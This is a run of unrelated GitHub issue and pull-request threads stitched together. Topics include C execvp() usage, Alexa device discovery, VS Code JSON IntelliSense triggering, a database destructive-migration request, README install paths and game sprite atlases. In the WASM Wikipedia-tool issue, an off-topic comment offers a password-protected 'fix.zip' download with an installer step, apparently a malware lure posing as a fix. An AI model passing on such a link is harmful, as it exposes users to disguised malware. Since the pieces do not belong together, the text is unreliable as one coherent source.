✨Enhancements✨
Contains enhancement(s) that add a feature or behavior.

[x] Yes

[x] An  label has been added to the pull request.

[ ]  No

⚙Workflow (CI/CD) Changes⚙
Contains changes to workflow files. These changes can only done by the project maintainers.

[ ] Yes

[ ] A  label has been added to the pull request.

[x] No

📃Documentation Updates📃
Contains changes that require documentation updates to code docs or Velaptor documentation.

[ ] Yes

[ ] I have updated the documentation accordingly.
[ ] A  label has been added to the pull request.

[ ] No

🧪Unit Testing🧪
My change requires unit tests to be written.

[ ] Yes
[ ] No

🧪Manual Testing🧪
I have manually tested my changes. (This can be done by using project named VelaptorTesting).

[ ] Yes
[ ] No

✅Code Review Checklist✅

[x] Pull request title matches the title of the linked issue.
[x] The [add version here] text in the pull request description was replaced with the version.
[x] Associated issue exists and is linked to this pull request.

One issue per pull request.

[ ] My code follows the coding style of this project.

This is enforced by the .editorconfig files in the project and displayed as warnings.  If there is an edge case with coding style that should be ignored or changed, reach out and let's discuss it.

[ ] All tests passed locally.

Status checks are put in place to run unit tests every single time a change is pushed to a pull request.  This does not mean that the tests pass in both the local and CI environment.

[x] A  label has been added to the pull request.

Found a small bug where trying to stop and unloaded sound causes and exception.


Use execvp and improve safety

This is incorrect usage of execvp(). running this results in a segmentation fault.
Also the exec family of dunctions are in the unistd.h header.
Correct usage is making a NULL terminated array with the command and arguments:
char *command[] = {"echo", "-e", "\e[1;32mCorrect Usage\e[0m", NULL};
execvp(command[0], command);

The exec family of funtions replace the current process with the one provided:
execvp(command[0], command);
// unreachable
return 123;

So if you want to handle errors (you should), you have to make a new process by for example using fork() to duplicate the current process.
Here is a correct example of executing echo -e "\e[1;32mCorrect usage\e[0m":
#include <stdio.h> // perror()
#include <unistd.h> // fork(), execvp()
#include <sys/wait.h> // waitpid()

int main(void) {
	char *command[] = {"echo", "-e", "\e[1;32mCorrect Usage\e[0m", NULL};
	pid_t child_pid = fork();
	if(child_pid == 0) { // child process
		if(execvp(command[0], command) == -1) {
			perror("execvp()");
			return 0; // will return from child process, parent onw is still running.
		}
	} else if(child_pid < 0) { // fork() failed
		perror("fork()");
	} else { // parent process
		waitpid(child_pid, NULL, WUNTRACED);
	}

	return 0;
}

Anyway this is being worked on in #20.

@CleanMachine1 I think this should be closed.

Agreed


Alexa stops searching for devices

This may not be a bug, but it's good to report as alert, and I would like to know if someone had eperienced it too.
It happened just recently, not with previous Echo firmware releases, but I can't say since when.. cause for quite long time I haven't searched for new devices. I have Echo Plus v2
On find new device vocal command Alexa refuses playing a "failure" sound (no voices messages), this should be enough to consider a firmware bug of Alexa (why it stops searching? If may a device can be bad she has just to discard it, and not to refuse to search forever..). To fix it I did once a manual remove of all devices from Alexa account (better use browser, select all, remove), then unregistered Alexa from app while I set Alexa to config mode (keep pressing its button), waited one minute it resets and says "wlecome.. blabla", associate again and yes.. searchig of devices was again working.
I've around 40 devices mapped, maybe 50, all devices comeing only from Node Red using this module.  After search on one device I adviced it worked from Phone app well, I can change the intensity, on and off, but Alexa told me by words that this device doesn't support that function ("Alexa, switch (this device) off"), strange, another bug probably.
Just reporting cause chances can be this devices can create problems on Alexa. I reported already the issues to Amazon.

An update, after the last restore of the flows (from clipboard backup) I had to delete and search again all devices, this time Alexa also replied me with a "refuse" sound so I delete manually devices from the account in the web site of Alexa, remove the Echo device, long press configuration button so it can reset to default, add Echo device again, and search fro devices.
ANd here another suprise, another "refuse" sound, not more the "it will need 45 seconds to find devices and bla bla". Then I tried to search devices from the web page, and after some minutes Alexa started  tell "I've found blabla", and slowly I start to see the devices on the Alexa app.. it took some time and different "rounds" to find more, I?m not sure if she discovered all of them.
It seems some bugs on the new firmwares


letsencrypt: update state file atomically

Save state by writing it to temporary file and then replacing previous state file by newly created file. This has better persistence guarantees then ioutil.WriteFile which operates on the same file and has a window between truncate and write when file content is invalid.
Fixes #10.

No one should be using this library anymore.
https://godoc.org/rsc.io/letsencrypt#hdr-Warning


How to check that JArrays contains a List of object or Values

Hey
I have a json Array that Array could be a list of objects or values
in case of objects
[
{ username : ref ,
roll no : 1},
{ username:sed,
rollno: 2},
]
in case of values
[ 123, 5688, 12]
so I want to check in JArray without any loop that of it containing list of objects or values
Any solution

JArray is derived IEnumerable.
The JToken enumeration of an JArray are the elements of the array. Query the Type property of every element JToken to see whether it is a value or an object.
Whether you use a loop or some Linq construct is up to you, but no matter what you have to enumerate the whole array to see whether it consists of objects only or values only...


question about pretrained model

Thanks your code,when i use your pretrained model in test_mvs4.py,there are some questions,such as :
size mismatch for reg.0.conv0.conv.weight: copying a param with shape torch.Size([8, 8, 1, 3, 3]) from checkpoint, the shape in current model is torch.Size([8, 64, 1, 3, 3]).
size mismatch for reg.1.conv0.conv.weight: copying a param with shape torch.Size([8, 8, 1, 3, 3]) from checkpoint, the shape in current model is torch.Size([8, 32, 1, 3, 3]).
size mismatch for reg.2.conv0.conv.weight: copying a param with shape torch.Size([8, 4, 1, 3, 3]) from checkpoint, the shape in current model is torch.Size([8, 16, 1, 3, 3]).
size mismatch for reg.3.conv0.conv.weight: copying a param with shape torch.Size([8, 4, 1, 3, 3]) from checkpoint, the shape in current model is torch.Size([8, 8, 1, 3, 3]).
can you give me some advice to edit your code ? Thanks!

The default number of depth candidates in each stage are: [8, 8, 4, 4], which is the same in our pretrained model.
If you want to use setting: depth candidates=[64, 32, 16, 8], you should train from scratch.

For your convenience, the training command is:
bash ./scripts/train_dtu.sh mid exp_name --ndepths 64 32 16 8
For better performance, you should also try to fine-tune the 'depth_inter_r' when you change 'ndepths'.


feat: add offset params to UserTitles

Those params is useful for pagination.

a simple demo: https://www.azimiao.com/playstation_gamelist

@all-contributors please add @Azimiao for code

Thank you for your contribution!


Fixes #812

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 97.905%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
1350

Relevant Lines:
1374

💛  - Coveralls


Upgrade logging to the new V2 SDK logging with MLFlow

https://docs.microsoft.com/en-us/azure/machine-learning/how-to-log-view-metrics
This will also enable us to log model parameters, which in turn enables model comparison in the AML portal

Resolved in 627


Quick suggestions aren't triggered inside words

VSCode Version: Code 1.14.1 (2648980a697a4c8fb5777dcfb2ab110cec8a2f58, 2017-07-13T19:08:57.197Z)
OS Version: Darwin x64 15.6.0
Extensions:

Extension
Author (truncated)
Version

dart-code
Dan
2.1.0

vsc-material-theme
Equ
1.0.0

beautify
Hoo
1.1.1

output-colorizer
IBM
0.1.2

vscode-simple-icons
Lau
1.4.1

vscode-docker
Pet
0.0.16

code-settings-sync
Sha
2.8.2

jsx
Twe
0.0.1

lorem-ipsum
Tyr
1.0.0

project-manager
ale
0.18.1

path-intellisense
chr
1.4.2

vscode-eslint
dba
1.2.11

githistory
don
0.2.1

vscode-babel-coloring
dza
0.0.4

vscode-html-css
ecm
0.1.7

file-icons
fil
1.0.4

flow-for-vscode
flo
0.7.1

auto-close-tag
for
0.4.3

react-jest-vscode-snippets
jal
0.0.3

easy-icons
jam
0.3.1

fuzzy-definitions
jri
0.0.3

vscode-icon-theme
jtl
1.5.0

vscode-JS-CSS-HTML-formatter
lon
0.2.3

prettify-json
moh
0.0.3

js-atom-grammar
ms-
0.1.13

vscode-icons
rob
7.10.1

incremental-search
sie
0.2.1

guides
spy
0.8.4

ayu
tea
0.4.0

vim
vsc
0.9.0

JavaScriptSnippets
xab
1.4.1

ReactSnippets
xab
1.4.0

(4 theme extensions excluded)
Steps to Reproduce:

Go to settings
Start new line to add new settings manually in user settings
Verify autocomplete is visible during initial typing
Hit backspace and continue typing
Observe autocomplete no longer shows

Reproduces without extensions: Yes

@aeschli This is happening in all json files.

LineContext.shouldAutoTrigger that decides whether to show the content assist while typing. Because " is already on the line, code assist seems to think we are in the middle of a word and will not trigger 24x7 IntelliSense.

Yeah, the rules are that we don't automatically trigger suggestions when typing inside a word but only when typing at the end of a word. The problem is that JSON thinks quotes are part of a word

After checking with other editors I decided to not enable 24x7 IntelliSense when typing inside words, but keep the existing behaviour which I believe is very natural but looks bad because of the bogus word definition JSON uses.

The JSON word regex contains the " is because IntelliSense uses it to evaluate the start offset of the token to complete.
Changing it would break contributed IntelliSense providers that don't use text edits but rely on the current behavior where we complete JSON tokens, not some random substring inside a string literal.
Note that if we were to change the word regex to not include " and any other separator like ., 7x24 would pop up at the following locations: |"|workbench|.colorTheme|"|. Also not very intuitive, especially as we are going to completing/replacing the full "workbench.colorTheme" token, not just a string inside.
So don't blame the word regex here. If the rule is that we don't show 7x24 if we are inside the token to complete, so be it.
But nevertheless I'd also like to tackle the word regex issue:
IMO we refine our usages of the 'word regexp' as it is used in too many conflicting contexts.
Maybe we can add an additional 'token regex' that corresponds to the scanner tokens. Or allow languages to define regexes for each usage: e.g. code completion regex that is used for the start replace offset, a 7x24 regex used to decide where 7x24 is activated.

any other separator like ., 7x24 would pop up at the following locations: |"|workbench|.colorTheme|"|. Also not very intuitive, especially as we are going to completing/replacing the full "workbench.colorTheme" token, not just a string inside.

No, once IntelliSense is active 24x7 IntelliSense doesn't do anything.

Changing it would break contributed IntelliSense providers that don't use text edits but rely on the current behavior where we complete JSON tokens, not some random substring inside a string literal.

I'd say those contribution use the JSON syntax tree anyways and admitting that there might be some adoption work it's a lame argument to say "all are doing it wrong, let's keep it that way"

Sorry, I disagree:

they don't have the JSON syntax tree anyway. That requires using a library such as jsonc_parser.
they don't do it wrong. They typically want to complete JSON tokens, keys and values, and not random words inside a string literal. So I think their expectation is right that we start replacing at the beginning of the token.

No, once IntelliSense is active 24x7 IntelliSense doesn't do anything.

Well, but if there's no IntelliSense active, typing before the . of "workbench.colorTheme" would open intellisense. Typing after the do would not.

they don't have the JSON syntax tree anyway. That requires using a library such as jsonc_parser.

I think we aren't talking about the same thing: https://github.com/Microsoft/vscode/blob/master/extensions/configuration-editing/src/extension.ts#L9

Well, but if there's no IntelliSense active, typing before the . of "workbench.colorTheme" would open intellisense. Typing after the do would not.

Please explain why? You type " -> nothing happens because it isn't a word char, you type w -> suggestions are triggered because a word as started. That's how it works for other languages, e.g. TypeScript has IntelliSense in string literals and somehow they can do this without bending their word definition.


[SPARK-41785][CONNECT][PYTHON] Implement GroupedData.mean

What changes were proposed in this pull request?
Implement GroupedData.mean - the last missing API for grouped data
Why are the changes needed?
for api coverage
Does this PR introduce any user-facing change?
yes
How was this patch tested?
added ut

Merged to master.


Identify workforce trends for Web Modernization effort

Workforce discussed and identified with help from Edward and line. Pursuing new roles now.


Destructive migration

Hi!
Are there any plans for adding Destructive migration?
Like, if we change the database, and increase the DB version number, and we don't provide any migration, we can flag that we would like a destructive migration, which means we clear the database and it just keeps working, without crashes.

any update on it ?

any update on it ?

Unluckily we didn't make any progress on that front. Contributions are welcome!

Unluckily we didn't make any progress on that front. Contributions are welcome!

I prepared the contribution, on which branch should  I create the pull request?

I prepared the contribution, on which branch should  I create the pull request?

Is this available?

I need this, this is stressing me!

@vitusortner  any update about this feature ?

@DJafari still no updates. I use this PR for now https://github.com/vitusortner/floor/pull/572


Add support for Bitbucket's new PR Url

I added "pull-requests" as a possible PR match, but left "pull-request"
as well, to maintain backwards compatibility. Fixes #12

Current coverage is 72.46%

Merging #13 into master will not affect coverage as of 328a748

@@            master     #13   diff @@
======================================
  Files            3       3
  Stmts          247     247
  Branches         0       0
  Methods          0       0
======================================
  Hit            179     179
  Partial          0       0
  Missed          68      68

Review entire Coverage Diff as of 328a748

Powered by Codecov. Updated on successful CI builds.

Thank you for catching this!


feat: introduce tilt into the development process

Problem Statement
What is the problem you're trying to solve?
Related Issue
Fixes #...
Proposed Changes
How do you like to solve the issue and why?
Checklist

[ ] I have read the contribution guidelines
[ ] All commits are signed with git commit --signoff
[ ] My changes have reasonable test coverage
[ ] All tests pass with make test
[ ] I ensured my PR is ready for review with make reviewable

/approve

is Paul working? I guess not :sweat_smile:
Ran it locally, works as documented! LGTM :medal_sports:

@moolen yaaay, thanks! :)))


4/NPC-Atlas-Update: Optimised NPC Atlases and Added Selection Highlight Feature

Description

Combined all the Friendly NPC's into one png to reduce initial loading time.
Updated the atlases accordingly and changed the art for the Turtle and Lion to match the game's aesthetic.
Added a "selected" version of the sprites, where there is a white outline/border around the animals that appear when the player interacts with the NPC. This was done to allow for easy identification of which animal is currently active.

Closes #396 and #397
Type of change

[x] New feature (non-breaking change which adds functionality)
[x] This change requires a documentation update

How Has This Been Tested?
Visual testing was deemed as the easiest and most feasible method to ensure the selection feature is working properly. You can simply approach a friendly NPC, and the outline will appear - this happens due to the "selected" sections in the atlas being using instead of the float option. When multiple NPCs are near the player, they are also selected. This allows for visual clarity to help the player confirm which animal they are interacting with.
Checklist:

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[x] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes
[x] Any dependent changes have been merged and published in downstream modules

I tried to review this but I cannot seem to run it.

I tried to review this but I cannot seem to run it.

Ill have a look now


Write Wikipedia tool in WASM

Context
WASM would be a great technology for writing the same LLM tool once and using it in Python and TS.
However, the problem is that even a simple HTTP fetch is not standardized among WASM runtimes. This would be the minimum requirement for a runtime running LLM tools (tools usually do API calls).
Status
LlamaIndexTS can already use WASM tools; see https://github.com/run-llama/LlamaIndexTS/blob/main/packages/wasm-tools/README.md
Options
How can we do an HTTP fetch?

https://github.com/extism/extism
Webassembly components (see https://component-model.bytecodealliance.org/)

Extism looks more mature. (August 2024)
Next step
Try extism to implement a Wikipedia tool

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Update the README file

Updated the README file with the latest Lovelace changes in order to properly load the library when installed manually
Added .idea to .gitignore file

The initial thought of "manual install" was for those that don't have hacs installed at all. Not sure if that is a viable usecase these days though. Maybe both paths could be described if needed.

The initial thought of "manual install" was for those that don't have hacs installed at all. Not sure if that is a viable usecase these days though. Maybe both paths could be described if needed.

I have HACS installed not sure if that makes a difference or not 🤔 however ... current docs says:
lovelace:
  ...
  resources:
    ...
    - url: /local/bootstrap-grid-card.js
      type: module

I have tried it and it did not work. Then tried the following as well and it did not work either:
    - url: /hacsfiles/bootstrap-grid-card.js
      type: module

and finally, this one was the one doing the trick:
    - url: /hacsfiles/bootstrap-grid-card/bootstrap-grid-card.js
      type: module

I am managing my dashboard through YAML so I need to add the resources manually.

@ownbee I have added both paths please check and let me know if it looks better to you now

I have done some more digging into this and I realized I have one card installed via /local/<name>.js  and it loads fine! Either my setup is unique or you are doing something wrong.
If you are using HACS and installed this card via HACS, then you should use /hacsfiles/   as described by HACS when installing it. It is also mentioned in the README already:

This card should pop up if you search for "bootstrap-grid-card" in HACS. Remember adding the card to resources (described by HACS instructions while installing).

I wont accept this PR since if using HACS, you should follow instructions there, as described in README. Not using the alternative installation instructions. If /local/ has been discontinued by home assistant, then this section should be removed completely.


native: manually update channel posts

This pr refactors the way we update channel data. Instead of refetching the entire query when a relevant table updates, we now listen to database change events + make targeted events.

When a new post is created, we use setQueryData to manually add that post to any matching channelPosts queries.
We now wrap data for each individual post in a query, which we invalidate when that post (or its reactions) are updated. When the post row in the database changes, we rerun the query.

Update: some rough edges, drafting for now.